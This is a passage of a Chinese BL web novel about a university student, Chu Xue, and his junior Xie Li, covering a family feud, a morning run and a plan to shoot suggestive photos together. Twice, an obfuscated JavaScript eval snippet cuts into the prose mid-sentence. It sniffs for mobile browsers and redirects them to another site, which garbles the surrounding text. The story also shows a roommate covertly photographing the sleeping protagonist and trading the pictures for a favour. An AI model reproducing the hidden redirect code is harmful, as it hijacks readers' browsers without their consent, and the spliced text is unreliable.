就在谢黎还想说什么，一声甜腻的喊声截住了他的话头，“哥。” 谢黎眉头皱得更深了。 “哥你是来参加我的生日吗？”萧旭快步走上前，想抓谢黎的手臂却又不敢，“你都好久没回家了，爸爸妈妈都很担心你。” 哥？初雪眨巴眨巴眼，脚又退了回去。 这声哥是什么意思呢？谢黎是萧旭的哥哥？听萧旭熟稔的口吻，又提到了“爸爸妈妈”，听起来谢黎像是他的亲哥哥。 那谢黎应该也是……萧家人吧。 初雪心中涌起一股违和感，一根怀疑的线悬在他的面前，他想去抓住，连茎带根地拔下来，但始终不得要领。 谢黎听到萧旭的话一言不发，见初雪退了一步，他赶紧前进一步，就着初雪的回答反问：“那你怎么眼睛红红的？” “哥这是你的好朋友吗？”初雪开口还没发出声音，萧旭又抢了话口。 他见谢黎不搭理他，转而将目标对准初雪，他上前挽住了初雪的胳膊，半边身子都贴在初雪的身上，“你好啊哥哥，我叫萧旭，你叫什么名字？小旭可以跟你做朋友吗？” 萧旭很热情，热情到初雪心里有点毛毛的。 还没等萧旭的体温传到初雪的手臂，顷刻间，一股巨力扯着萧旭的领子，将他猛地甩回沙发上。 领口卡着萧旭的脖子，让他呼吸不畅，被甩出去后他就趴在沙发上剧烈地咳嗽。 “谢黎！”秦佑贤歘得一下站起身来。 “秦哥哥！咳！”萧旭扯了扯秦佑贤的衬衫，“我、我没事，咳——” 谢黎还是没有理会他们，他低头询问：“学长还有工作吗？” 初雪摇了摇头，看着学弟的眼睛，不知怎么的，他感觉学弟现在好像很害怕。 在害怕什么呢？他不知道。 见初雪摇头，谢黎抓着他的手腕带他离开。 11. 第 11 章 谢黎现在的状态很不对劲，他的步伐越来越快，抓着初雪的力道也越来越大。 “学弟，慢些，我跟不上。”初雪一路小跑，可谢黎却像是没有听到，只是闷头往前走。 “学弟，学弟——阿黎！” 谢黎突然停了下来。 他一转身，初雪因为惯性一时刹不住车，一头就嵌进了谢黎的怀里。 “唔！”撞上去的一瞬间，初雪心想，原来胸肌在放松状态下是软的，不会很疼，以及，学弟身上有一股柑橘的清香味，他很喜欢。 可一眨眼，初雪什么想法都没有了。 他的学弟一把抱住了他，与此同时，他的后颈感受到的一颗一颗的水滴在往下砸。 学弟哭了？ 怎么哭了？！ 这怎么办！！！ 初雪大脑陷入了风暴，那根所谓的怀疑的线变成了脑海中杂乱无章的毛线。 他缓缓回抱谢黎，手掌生涩、僵硬地拍打着他的后背。 “走…走快点也没关系，我会努力跟上。” 笨蛋学长还以为是刚刚跟不上谢黎的步伐，给人惹哭了。 谢黎噗嗤一下笑出声来，他摇了摇头，脸颊贴着初雪那柔软的发丝乱蹭。 初雪听到谢黎的反应，松了一口气。 他确实是从没有遇到过这样的情况。 初雪牵着谢黎走进员工更衣室，谢黎垂着脑袋，从初雪的视角看过去，真像一只受挫的大型犬。 将看着就生气的快递盒推到一边，他带着谢黎坐下，问道：“学弟怎么会来这里啊？” “学长不叫阿黎了吗？”谢黎眼尾下垂，他的嘴巴委屈得瘪下时，颊边也会出现酒窝。 “啊！”初雪微微张大了嘴，他没想到换昵称的任务这么容易就完成了，“那阿黎怎么会在这里呀?” 谢黎手指扣了扣掌心，回道：“最近在找工作，在门口看到了招聘。” “嗯？你也要找工作吗？”如果谢黎是萧旭的哥哥，那谢黎应该是不缺钱的才是。 “嗯，没有生活费了。”谢黎抬眼可怜地看了眼初雪，又垂下头去，“我爸他……不管我。” “不管”这两个字可大可小，有的是父母单纯想吓唬吓唬孩子，有的是真的放任不管，连经济都不给予支持，听谢黎这个说法，显然是后者。 初雪吞了下口水，将震惊咽回肚子里，他将声音放轻，“那你妈妈呢？” 谢黎俯身又抱住了初雪，他的体型较大，初雪完完全全被他笼罩进怀里。 沉默了半响，谢黎才回答：“我妈在我三岁的时候就走了。” 初雪敛下双眸，这个答案他多少猜得到。 或许是因为谢黎信任他主动跟他交心，又或许是他想跟谢黎尽快处好关系，初雪鬼使神差地开口：“我也没有爸爸。” 话音刚落，谢黎猛地直起身来，垂头看着初雪。 学长嫩白的脸在暖黄灯光下显得格外温馨，可谢黎从来没想过，性格底色这么温柔的学长，也会是单亲家庭。 没有谁比他更懂，单亲在儿时会承受多少非议，他以为，学长理应有个幸福的童年才是。 “怎么又哭了？”初雪用食指指背将谢黎挂在脸颊的眼泪揩下。 谢黎不可置信地用手掌抹了把脸，看着掌心里的泪水，他竟呆愣在原地。有时假哭久了，真因难过而哭出来时，反而无所适从。 初雪看他这副模样，还想着谢黎还没有从母亲离世的情绪缓过来，上前主动地抱紧了他，换了个话题：“那阿黎跟萧旭就是一个跟爸爸姓一个跟妈妈姓？” 在现代，两兄弟姓氏不同也很正常，但既然是兄弟，怎么会有如此区别对待？谢黎的品性品格也很好，初雪想起同事先前跟他聊的八卦，说萧家最后的家产都是萧旭的，没有提到有关于谢黎的半分。 “嗯。”谢黎又精准窝在了初雪的领口处，淡淡的茶香味从里面传来，他薄唇轻启。 “我跟我的母亲姓，他跟我爸姓。” “你…的……母亲？”一股不好的预感在初雪的脑海中盘旋，很快，这个预感应验了。 “我妈死后，我爸从外面把萧旭的妈带了回来。”说到这，谢黎的声线低沉冰冷，“在短短的两个月内。” 两个月。 寒意倏地爬满初雪脊背，谢黎今年也才大一，撑死不过二十，而萧旭看起来也并没有比谢黎小上三岁之多，那这就意味着，谢黎的母亲和父亲在婚时，他的父亲就已有染，甚至连萧旭都已经怀上了。 初雪抱谢黎更紧了些，心中不免泛起酸涩。 怪不得。 怪不得谢黎说他爸不管他，因为是前妻的孩子，所以根本不得宠爱。 谢黎能感受到学长在心疼他，他对此也很受用，在温暖的怀抱中，他的脸颊渐渐地泛起红粉，舒服到叹出一口气。 “我十八岁他就把我的生活费停掉了，所以经常要出去打工，之前干兼职的店倒闭了，今天出来找工作找到了这个酒吧。” 谢黎在初雪看不见的角落，眼神变得锐利，声音却听不出什么区别“可我没想到，会在这里碰到萧旭。” 回想起当时谢黎那害怕的目光，初雪问道：“阿黎是在害怕萧旭吗？” 谢黎比萧旭不知道壮了多少，刚刚也是单手就把萧旭拎着甩了出去，单论武力值来说，谢黎都不该有害怕的情绪。 谢黎点了点头，说：“因为他会把我喜欢的东西全都抢走，不管是物体，还有人，小时候的玩偶、长大后的朋友，只要是接近我的都会被他抢走。就连他的名字，也是他妈照着我的名字取的。” 就像是旭日永远会比黎明明亮，吴女士无法跟死人相比较，就要自己的儿子压她儿子一头。 “阿黎该不会是害怕我被抢走吧？”初雪问完后觉得这个想法有点荒谬，自己都笑了起来。 谁知谢黎听他在笑，故作生气的抬起头，“对啊！” “啊？真的啊？” “学长是我上大学后的第一个朋友。”谢黎见初雪没心没肺，眼神幽怨。 初雪眨巴眨巴眼，嘴里喃喃：“朋……友？” 这个词对初雪来说有点陌生，他在心里念了好几次。 他也有朋友了？他现在跟谢黎成为朋友了？ 那岂不是很快就能跟他拍照了！ 初雪没有过多纠结，一想到拍照，他乐得眼睛弯成月牙，“那我们现在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那学长还不如直接收下，就算是精神损失费了。” 初雪挠了挠脸，“这里面的东西都挺贵重的。” 袜子都这么贵了，里面的衬衫马甲只会更贵。 “他都给你了，那就是你的。”谢黎语气变轻，每一句话都像是贴在初雪耳根子旁说，“他惹你生气，做这样的事，学长就算是拿去变卖，都不过分。” 初雪眼珠子颤动，也在考虑谢黎说的话。 谢黎见初雪态度松动，乘胜追击，“学长袜子不是湿了吗？要不要现在就试一试？” - 五百二十块的白袜子穿起来轻飘飘，布料紧紧地贴合着初雪的脚，触感异常舒适。 初雪没有穿过这么贵的袜子，他两只脚无措地晃了晃。 谢黎垂着头看着初雪的脚，他的眼珠颜色极深，一道暗光从眼底闪过，隔着镜片都能感受到那浓浓的欲丨望。 可当他一抬头，所有的情绪又被掩藏，他笑了起来，颊边凹陷形成酒窝。 “很好看，学长。” 12. 第 12 章 假话总是要掺点真，才会让人深信不疑。 谢黎看着学长毛绒绒的脑袋，嘴角挂着意味深长的笑容。 一楼的走廊和二楼的设计是一致的，脚踩在地毯上，听不见一丁点儿声音，往常舞池的DJ声会透出来，今日却是安静得让人不太习惯。 “阿黎今天不是来找工作吗，我直接带你去找老板好了。”初雪侧头看向谢黎，“看看能不能带你开个后门。” 谢黎愣了一瞬，喉结紧张地上下滑动，“这…还能开后门吗？” “我也不知道，但可以去试试。”初雪踏着轻快的步伐，自信道，“我可是优秀员工。” 谢黎将手机拿出来戳了戳，笑着轻撞学长的肩膀，打趣道:“学长好厉害哦。” 初雪的脸轰地就红了，这声调侃让他臊得慌，赶紧是转移话题：“快走吧，等等老板自己偷偷下班了。” “好，那我们就去试一下行——” “不行！” 酒吧老板义正言辞地拒绝了初雪，“现在店里不招大学生兼职了。” “啊？可……” 初雪话还没出口，老板摆摆手，语气冷硬：“初雪啊，我当初招你就是觉得你机灵，其实店里很少招大学生的，你们上班时间都不固定，我也是为了店里考虑。” 说完，老板还偷偷瞟了眼站在初雪身后的谢黎。 脸色那叫一个阴沉。 老板有苦说不出，短信里又要他拒绝初雪，现在又嫌他对初雪的态度不好，真是有病。 当初雪回过头看谢黎时，他又立马换了副嘴脸，眉宇间满是愁容但脸上却微微笑着。 好像受了委屈还要强壮坚强。 老板眼皮跳了跳，额头上的青筋一鼓一鼓。 合着黑脸全让他一个人担了。 - 晚十一点半，初雪回到宿舍，今晚上的活儿很轻松，临大没有强制熄灯的规矩，但是却有门禁，学校规定十一点半所有宿舍统一关闭，若晚于这个时间回宿，会被宿管登记。 初雪看了眼对面的床铺，那是杜华南的床位，床位上挂着床帘，看不见里面，但他猜测，杜华南应该是还没回来。 宿舍里六个人都挂上了床帘，除了初雪。 也不是说他有多不注重隐私，单纯是床帘比蚊帐贵了差不多十倍，初雪没舍得买，而且他也很少在床上做什么小动作，蚊帐对他来说已经够用了。 初雪再次打开小白鼠，点击上次收藏过的帖子，往后滑。 【处朋友必杀技——不越界狠狠拿捏】 【第二步：制造巧合】 【第三步：适当肢体接触！】 【制造巧合切忌刻意操作！比如：“我也喜欢看电影”×，这实在是太刻意了同学们！我们要学会灵活变通，不经意间制造巧合，同样是看电影，我们可以说：“我朋友正好没空，空出了一张电影票。”】 【适当肢体接触就是字面意思，过个马路扯扯衣袖，坐车晕车靠一靠肩膀，如果TA没有拒绝，你们的关系就会突飞猛进！】 初雪不懂为什么拉个袖子就突飞猛进，但是他学！ 第一步更改昵称的顺利完成，让他对这个帖子坚信不疑，以至于他压根没意识到，帖子里的“处朋友”跟他所认为的处朋友，压根就是两个意思。 初雪奋笔疾书，吸收完知识后，立马就开始实践。 他拿出手机，点开套着雪梨的线条小狗页面，思索片刻，发了条信息。 与此同时，与临水书院隔了一整座临州大学的临渊书院发出了叮咚一声响。 谢黎刚洗漱完，正擦脸，他随手将桌上的手机拿了起来，随意瞄了一眼，只一眼，擦脸的手忽地一顿。 只见置顶的潦草小猫给他发了条信息。 [初雪：阿黎，校园跑好像已经开始了。] 校园跑是学校固定的要求，每学期校园跑不得少于45次，每次要跑两公里，不像传统在塑胶跑道上绕圈，校园跑是以打卡的方式，在校内各个地点穿梭， 谢黎将毛巾放在凳子靠背处，两只手捧着手机打字。 [雪梨：上周就开始了，怎么了学长？] 谢黎目不转睛地盯着手机屏幕，很快，一条新消息又弹了出来。 [初雪：你平常什么时候跑啊？] 谢黎想了想，回复。 [雪梨：我一般是晨跑。] 谢黎本身X丨欲很重，为了能有所克制，他每天的运动量都很大，晨跑也只是其中的一小部分，顺带完成学校的任务。 晨跑？ 初雪看着线条小狗的信息，震惊了两秒。 那岂不是很早就要起床了？初雪舔了舔干燥的唇，纠结了两分钟，咬咬牙心一横，将已编辑好的信息发出去。 另一边，谢黎苦等两分钟，明明聊天记录少得可怜，手却一直上下滑动，总怕自己说错什么话， 新消息出来的一瞬间，他立刻查看。 [初雪：我也是，那我们可以一起跑啊！] 谢黎看到内容眉心紧锁。 不可能。 学长绝对不可能晨跑。 每次校园跑经过临水书院时，他经常会下意识地往三楼眺望。 他知道，学长若是有早八，肯定是准时准点七点半才起床，踩着铃去上课，如果没有早八，那谢黎跑完都看不见学长的身影。 现在他的学长发消息跟他说，他也会晨跑。 骗鬼呢。 学长在刻意接近他，谢黎瞬间就定下了这个结论。 可是为什么呢？谢黎想不通，他拍了拍身旁的关十一，斟酌道：“有个人突然刻意地接近你，想主动跟你产生交集，这是为什么？” 关十一摘下耳机，没想到平日里冷酷的谢哥竟然会问他感情问题，想到之前军训的时候谢哥莫名其妙做形象管理，这就很耐人寻味了。 关十一试探道：“两个人关系好吗？” 谢黎摸摸下巴，拿起桌上的水瓶喝了口，“嘶，还行吧。” “谢哥，你暗恋成真了啊？” “咳！咳咳——”关十一一句话给谢黎吓得把刚刚喝进去的水呛了出来，“这不可能，不可能，哪有什么暗恋成真。” 关十一看着谢黎要扬不扬的嘴角，暗恋成真这件事光是想想都让他这么兴奋吗？ “他竟然不喜欢你吗？”没想到矿工大帅哥也为情所困。 谢黎眼神坚定地摇了摇头，无比肯定这一点。 等等，他刚刚好像没有说是自己的事吧，关十一怎么连他在暗恋都知道了。 关十一继续分析，“又不是仇人，又不喜欢你，那就只有一个可能了。” “什么？” “他有求于你。” 这个说法倒是新鲜，谢黎皱了皱眉，可他自认身上并没有什么能吸引初雪，他现在在初雪眼里只是个穷苦大学生，哪有可求？就连以覆面身份送出去的刚需衣物初雪都要丢回给他，难不成是游泳吗？可他们已经组队了。 手机一震，谢黎快速拿起。 [初雪：不可以吗？我不会拖你的后腿的。] 谢黎这才发现自己一直在纠结初雪为什么接近他，忘记回初雪信息了！ 他赶忙敲键盘，手指飞速如残影，生怕错过一秒。 不管学长在想什么在求什么，只要他愿意靠近自己，其他都得往后排队。 [雪梨：当然可以，抱歉学长，刚刚在刷牙，没来得及回信息。] 初雪很喜欢听谢黎讲话，他很有礼貌，就算没有及时回消息，也会跟他解释原因。 最后两人约了早上七点在第一田径场碰面。 初雪赶紧爬上床，手机往枕头边一放，抱着小破熊栽倒进被窝。 七点就见面，那他六点半就要起床。一想到这，初雪吐出的气都轻了些。 活人微死。 咔哒一声关了灯，初雪照常给小熊一个晚安吻，进入了梦想。 - 夜间凌晨三点。临水书院301宿舍门被轻开轻放，杜华南带了一身凉意回到宿舍。 月光从窗户照进宿舍，初雪睡得很熟，从被子里露出的柔软脑袋往上铺栏杆处拱了拱。 白色的蚊帐遮不住视线，杜华南轻轻踩着初雪的楼梯向上爬。 初雪一个翻身，给杜华南吓得差点没摔下楼梯，他的指尖抓紧了身下的扶手，指甲盖都泛着白。 到底是不敢太放肆，堪堪停在蚊帐外，杜华南从口袋里摸了摸，拿出一部最新款苹果手机。 寂静的深夜里，平日里几乎听不见的“咔嚓”声被无限放大，杜华南不敢多留，随便摁了几下快门，就回到了自己的床上。 点开微信，他打开前两个小时才刚加的新朋友，将刚刚拍的照片发了过去。 苹果的相机最大程度上还原了实时画面，画面中的青年睡得很香，长如羽翼的睫毛在眼下留下阴影，清冷的月光照在那漂亮嫩白的脸上，像是镀了层柔焦滤镜，迷迷蒙蒙让人一眼就忘不掉，蚊帐的网挡在镜头前，就像是什么牢笼，将鸟儿困死在里面，飞不出去。 杜华南绷着连点点屏幕。 [杜华南：说好了，别反悔。] 屏幕那头，裴靳扶了扶脸上的眼镜，将手机上的照片放大缩小放大缩小，足足盯着看了五分钟，他才回杜华南。 [裴靳：当然，目前那个新项目上也正需要加盟，会考虑杜家。] 当时还有一个人闯进了生日会，裴靳眼镜反着光，让人看不清他的神情。 [裴靳：之后带服务员走的那个是谁？] 杜华南很快就把他知道的尽数抖落出来。 [杜华南：就是个乡巴佬，应该是大一的，初雪当时开学做志愿两人一组。] [杜华南：[图片]] 图片里赫然是初雪当时被校园墙偷拍的那张。 谢黎从来都不参加什么晚宴聚会，也怪不得杜华南不认得这个谢家大少爷 裴靳冷笑一声，和他想的一样，谢黎果然没有那么简单，就这一套灯下黑的手段，玩的那叫一个炉火纯青。 但他也不能戳穿谢黎，谢黎手上也有不少他们的把柄，裴靳轻轻抚摸着萧旭的脸颊，他在自己身旁安静地睡着，就单说办的蒙面聚会，就不能让萧旭知道。 - 闹钟一响，初雪艰难地爬起身来，宿舍里蒙蒙亮，太阳都还在摸鱼，他却要起床完成任务，踩到冰冷的地面，初雪才勉强打起两分精神。 他晚上睡觉喜欢往栏杆拱，怀中的破熊都被他拱到在冰冷的地面上睡了一晚，初雪一个箭步将它抱起来，亲了两口。 就像在跟小熊道歉。 早六点四十五，偌大的校园只有初雪一个人在路上。 九月份临州清晨的天气还有些凉，他没有这么早起过床，出了门才发现有点冷，初雪也懒得回宿舍添衣，想着反正要跑步，等等身子也热了。 等到了一田，初雪原以为自己提早五分钟会第一个到，可远远的，他就看到谢黎的身影，他正在做热身运动。 “学长！”谢黎也看到了他，往他的方向小跑过来，离得近了，他看清初雪身上套的T恤，皱了皱眉，“学长你不冷吗？今天气温挺低的。” “没事。”初雪摆了摆手，故作镇定，“晨跑是这样的，我习惯了。” 其实冷到要吸鼻子了。 谢黎将身上的外套脱了下来，“你穿我的吧。” “那怎么行。”初雪赶紧是摇头，哪儿有他不带衣服让学弟挨冻的道理，“我其实还好。” 谢黎叹了口气，直接将外套套在初雪的头上。 橘子的清香瞬间涌进初雪的鼻腔，初雪看不到谢黎的脸，只听到学弟带着笑意打趣他。 “鼻涕都要冻成冰锥了。” 初雪赶紧是从校服里钻出来，脸上是臊得慌，脑子里转了半天，也没想出来要怎么反驳，最后只能憋出来一句，“我就是不冷。” “好，不冷。” 谢黎眼疾手快将外套给他套上，就连拉拉链都是他来代劳，“我刚刚热过身，现在有点热，那学长帮我穿一下，好不好？” “嗯——”初雪挑眼自下而上地看向谢黎，他歪了歪头，狐狸眼不自知地勾着人，“犹豫”半响他才回道，“勉为其难吧。” 谢黎的外套偏大，初雪穿上去袖口还多出一小截，残存的温热的体温包裹着他，身子一下子就暖和起来。 而暖和后的代价却是——他好困！ 昨晚上又做了好多梦，他的睡眠质量一向很差，所以经常睡不醒。 初雪在操场上开始做热身运动，谢黎坐在塑胶凳上抿了口水，润润干燥的唇，于是一抬头就见学长的脑袋要点到地里去了。 身体却还在实诚地压腿。 这个场景不免让人觉得好笑，谢黎就这样看着学长迷迷糊糊地热完身。 结束了初雪还以为自己掩藏得很好，一叉腰，笑着跟谢黎说可以开始了。 校园跑需要打卡三个地点，每次刷新的打卡点随机，两人运气差可能一个南一个北，但初雪和谢黎心照不宣地选择一块跑，陪着对方一起打卡，最后两人打了五个点。 为什么是五个点呢？因为最后一个点两个人刷到了同一个地方。 明珠池。 临大小情侣的约会圣地。 明珠池说是“池”，但其占地面积足有八十亩，严格说来是湖。 围绕着湖中心，学校特地修建了复古式路灯以及能容纳几个人并排坐的靠背木椅，白天能看到黑天鹅游水，到了晚上，湖面倒映昏黄路灯也是别样的滋味。 将最后的卡打完，两人将数据上传，大约上午七点半左右。 两人找了个有树荫的长凳上休息，初雪出来晨跑连水壶都没带，谢黎把自己的递了过去。 “等等去吃个早餐吧。”谢黎道。 初雪尽量不碰到杯沿，小心地灌了一口水，听到谢黎的话，他罕见地皱了皱鼻子。 谢黎没有错过学长这异样的表情，问：“怎么了” “我没有什么胃口，你吃吧，我可以在你旁边等你。” 初雪几乎不吃早餐，经常是从早上起来后就硬撑到中午，从小就这样，已经形成了不健康的习惯。 谢黎当然不可能自己去吃，他将身上的运动包拿下来，放进初雪怀里，说道：“学长你在这里等我一下。” 没多久，谢黎一路慢跑回来，同时，手上还抓着一根玉米和两个鸡蛋。 就在他离开这五分钟，学长又开始在湖边钓鱼，想睡觉了。 看到谢黎回来，初雪又逼迫自己强打起精神。 谢黎徒手将玉米掰成三瓣，将中间最嫩的分出来，递到初雪面前，劝道：“学长吃一点点？” 初雪刚想拒绝，抬眼看到谢黎希冀的目光，又把话咽了回去。 三分之一的玉米并不多，可他吃得格外慢。 谢黎在初雪看不见的角落，神色凝重。 等初雪把谢黎两口就能啃完的玉米吃完，谢黎继续投喂，“鸡蛋要吃吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203415|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不要了。”初雪语气弱弱。 “好。”谢黎也不强制他。 初雪眼睛快睁不开了，但是他的任务还没有做完，现在仅仅是完成了一个制造巧合，还没有肢体接触呢。 要怎么样才能自然地肢体接触呢？ 有了！ 他假装睡着，然后借机靠在学弟肩膀上！ 初雪这么想着，干脆利落将头抵在了谢黎的肩膀上，可计划永远赶不上变化。 两秒后，初雪的呼吸越来越缓慢轻柔。 将近半个小时，谢黎就这样一直保持着动作，学长那是越睡越熟，根本没有要醒的意思。 谢黎有些撑不住，便轻轻挪动身体，将初雪平躺下来枕在他的腿上，期间初雪迷迷糊糊地睁了下眼，可汹涌的困意又将他拖入了深渊。 初雪巴掌大的小脸一只手就能盖住，谢黎用手虚掩着初雪的眼睛，让他免受阳光的直射。 太阳渐渐升起，一阵手机铃声突然响起，初雪来脾气哼了一声，谢黎赶紧从他的裤子口袋里将手机取出来，屏幕上的来电信息是“奶茶店老板”。 谢黎将电话接通。 “喂。”那头一道沧桑的声音响起，听起来是个上了年纪的老爷子，“初雪啊，今天还没到店里啊？” 谢黎低头看着躺在他腿上睡得正香的学长，到底是没忍心，跟老爷子商量：“您好老板，我是初雪的朋友，帮他今早请个假，晚些我找个人帮他顶半天的班，您看行吗？” “哎，不用，不用找顶班。”老爷子特别好说话，乐呵呵的，“今天早上店里也不忙，他打工也辛苦，不用多花这个钱，不过，我倒是第一次听说初雪还有朋友呢。” “第一次？” “是啊，他在我的店里也打了一年的工啦，平时都没见他跟什么人来往。”他像是想到什么趣事，跟谢黎聊八卦，“倒是好多人喜欢他，表白的人一波一波的。” 断掉电话，谢黎伸手泄愤似的捏了捏身下人熟睡的脸蛋，他一直都知道学长勾人，别说是脸蛋，就这个性格，也很难不让人喜欢，但是这么好的学长怎么会没有朋友呢？ 湖水微风轻轻吹，跟特定的人在一起，一分一秒都过得无比快，不知过了多久，谢黎的手心被长翘的睫毛扫过，学长醒了。 初雪伸了伸懒腰，嗓子里哼着睡醒时的呓声，他睁开眼，足足愣了半分钟，他的CPU终于认出了眼前的风景和枕住的大腿。 “阿黎！”初雪猛地坐起身来，脸颊还有刚睡醒浮起的粉，“我不小心睡着了，抱歉。” 怎么真的睡着了啊，初雪尴尬地扣了扣裤缝。 对了，等等他还要去奶茶店打工。 谢黎藏在镜面下的双眼贪婪地略过初雪此时的模样，他微微一笑，非常善解人意，“没关系，学长。” 初雪将手机摸出来，摁亮屏幕后，他不可思议地揉了揉自己的眼睛。 是不是他打开的方式不对？初雪将手机息屏，又打开。 怎么现在十一点半了啊啊啊啊啊！！！ 他眼睛一闭一睁睡了四个小时？ 等等。 所以学弟让他靠了四个小时？！！ “阿黎，你……”初雪缓缓转头，看向学弟。 他的学弟笑得腼腆，眼镜后的下垂眼看起来格外的乖，他像是想起了什么，一拍大腿，“对了学长，我帮你跟奶茶店请假了。” 呜—— 初雪感动得想哭了，学弟被他枕了一上午毫无怨言，还帮他请假。 现在说什么感谢的话都是虚的，初雪拍了拍自己的胸脯，“阿黎今天中午的午饭学长包了！想吃什么都可以！” “真的吗学长？”谢黎状似惊讶，看到初雪点头，他更是激动，“学长你真好。” “咳！”初雪摆摆手，耳朵脖子红了一片，怕谢黎又说出什么让他不好意思的话，他赶紧是转移话题，“阿黎想吃什么？” “三饭吧。” 初雪听到这个答案，愣了下神。 他跟谢黎上次也是在三饭一起吃，只是上次他还想不起学弟的名字。 - 出了饭堂，两人几乎没有顺路的情况，立马那是分道扬镳，初雪慢吞吞地往宿舍楼走，手上紧急点开小白鼠，现在他三个任务都完成了，只剩下最后一个，他划到最后一张图片。 【最终步：表明心意！】 【如果前三步你都顺利完成了，并且对象没有表现出任何的不满或者拒绝，那么恭喜你！来到了最后的决胜圈！ 【最后一步非常的简单！现在你所需要做的事就是，出现在TA的面前，大声地告诉TA，你需要TA！】 初雪停下了脚步，在心里默默给自己打了个气，然后猛地转过身。 当他一抬头却发现，谢黎此时也是面对着他的模样。 他一路小跑回谢黎的身边一把抓住他的手，带着他向校园的角落走。 谢黎冷汗直流，初雪这次转身给他抓了个正着，他的大脑卷起沙尘暴，看着初雪的后脑勺，突然福至心灵，“学长，我刚想拿回我的外套来着，没想到你也回头了。” 他要拿回外套，他没有视丨奸学长的背影。 这个解释简直是满分，可初雪的心思全然不在什么外套身上。 等到四下无人，初雪抬眼轻瞥了眼比他高了半个头谢黎，紧张地咬了咬口腔的嫩肉，两人沉默了许久，他才开口问：“阿黎，你现在是没有经济来源了吗？” “啊？”谢黎人都要吓得麻木了，他以为初雪发现了什么端倪，要兴师问罪，不过他很快反应过来，“哦！是啊，不过没关系，我还存了点钱，应该能撑一会儿。” 初雪咬了咬下嘴唇，面色发红，他晃了晃谢黎的手臂，“我现在很需要你。” “什么事呢？”怎么学长还撒起娇了？ 初雪深吸了一口气，说出来自己一直以来的目的。 “阿黎，我在网上拍暧昧照。” 什么照？暧昧照？暧昧照是什么？谢黎的眉头紧皱，隐隐有所猜测，但又不敢往那方面去想。 阴沉的表情连黑色方框眼镜都差点没压住。 好在初雪正低着头捣鼓手机，没有注意谢黎的表情。 初雪将小白鼠内，他的主页打开，放到谢黎的眼前。 “就是……这样的照片。”这种兼职不太能上得了台面，初雪知道，他尽力解释，“偶尔数据好的时候，可以卖卖照片，接接广告什么的。” 谢黎胸膛上下起伏着，眼前的图片比较糊，但他也知道那是初雪的身体，看着曾经那些数据好的帖子，妒火简直要把谢黎给烧起来，在他不知道的角落，那么多人窥探过学长的身体。 “所以呢？学长。”谢黎的声音有些凉，在初雪看不见的角落，谢黎手指抖得很严重。 他克制着想要将学长惩丨罚一顿的欲丨望，心里的那个疯子不停地叫嚣，让他做出一些过分的事情，让初雪狠狠地哭，哭到再也不敢乱在外面发什么暧丨昧照。 可这些初雪都不知道。 初雪仰起头，这次他没有再躲避视线，而是认真地想请求谢黎，“我想问，你能不能跟我一起拍。” 谢黎跟初雪对视着，只一眼，一句话，他眼里的怒火顿时烟消云散。 他的学长有求于他，他的学长现在心里还没有他。 但是，他的学长喜欢他的身体。 谢黎扬起笑容，阳光透过他的发丝，让他热烈又温暖。 “当然可以啊~学长。” 他这么说道。 13. 第 13 章 到了正午，太阳悬在他们的脑袋上，气温逐渐升高，初雪将外套脱下来还给谢黎，说：“那我们找个时间去开房吧。” “开——”谢黎眼睫飞速眨动，他知道学长不是那个意思，但脑海里止不住意淫。 “之前只有我一个人，在宿舍厕所就能拍完。”初雪解释道，“现在我们一起拍，总不能带你去我宿舍，得去外面找那种小时房，便宜些比较好。” 在宿舍厕所拍？隔着一扇连实木都不算的门，学长在厕所里衣衫半解，用镜头对准自己的私密部位，他那时脸上是什么表情？虽然没有露脸，但会为了最后的效果投入其中吗？还是一脸平静？ “阿黎？阿黎！” 初雪一嗓子把谢黎的魂唤回来。 “你听到我说话了吗？”他出口的音调低沉婉转，跟在娇嗔抱怨似的，初雪听到自己的声音都吓了一跳。 拢共两人也没有认识几天啊，他怎么就对学弟抱怨了呢，初雪在心里默默检讨。 谢黎心脏微动，脚下朝初雪的方向逼进一步，俯下身子垂眸凝视他，“嗯，听到了，我去找房子吧，学长。” “呃……好。”初雪不自觉地往身后的墙靠了靠，谢黎将阳光尽数遮挡，只余一片阴影覆盖在他的身上，记忆闪回，好像曾经也感受过这样的压迫感。 但是学弟怎么会有压迫感呢？初雪抹抹眼角，再看去，谢黎直起了腰，还是他熟悉的模样，初雪只当是既视感作祟，可能是做梦梦到过这样的景象。 谢黎抛出新的问题，“那我们是不是要约个空闲时间？毕竟学长还有工作。” 初雪点点头。 “这样吧。”谢黎镜片局部反光，让人看不清他的眼神，“学长你把课表和平时工作的时间发给我，我来对比一下，选一个我们都有空的时间。” “好。” - 近一个星期，初雪都有正常去酒吧上班，送酒期间，他经常在人群中观察，想要看到那双熟悉的眉眼，可惜，最终却一无所获。 又是一个午睡后的晴天，初雪将晒在阳台的泳衣勾下，他有个坏习惯，晒干的衣服不喜欢收回衣柜里，就一直挂在阳台，等洗澡的时候再去阳台取。 好在他的衣服也就这么几件轮流换着穿，也没有影响其他舍友。 今天是第二节的游泳实践课，也是他跟谢黎约定好拍照的日子。 想到拍照，初雪的手指绞紧怀中的泳衣。 在这方面，他是谢黎的“前辈”，可他这个“前辈”肚子里压根没有二两墨，使劲呕也呕不出来。 这可怎么办啊。 “初雪。” 讨厌的人又出现了。 杜华南走到初雪的旁边，声音略微发紧，“一起去上课？” 结局也可想而知，初雪没看他一眼，转身就走，拒绝的话都懒得说，模样明明白白地写着，不再想跟杜华南有任何交集。 杜华南罕见地没有跟上去，只是沉着脸用手机发了信息。 [杜华南：初雪现在去游泳课。] 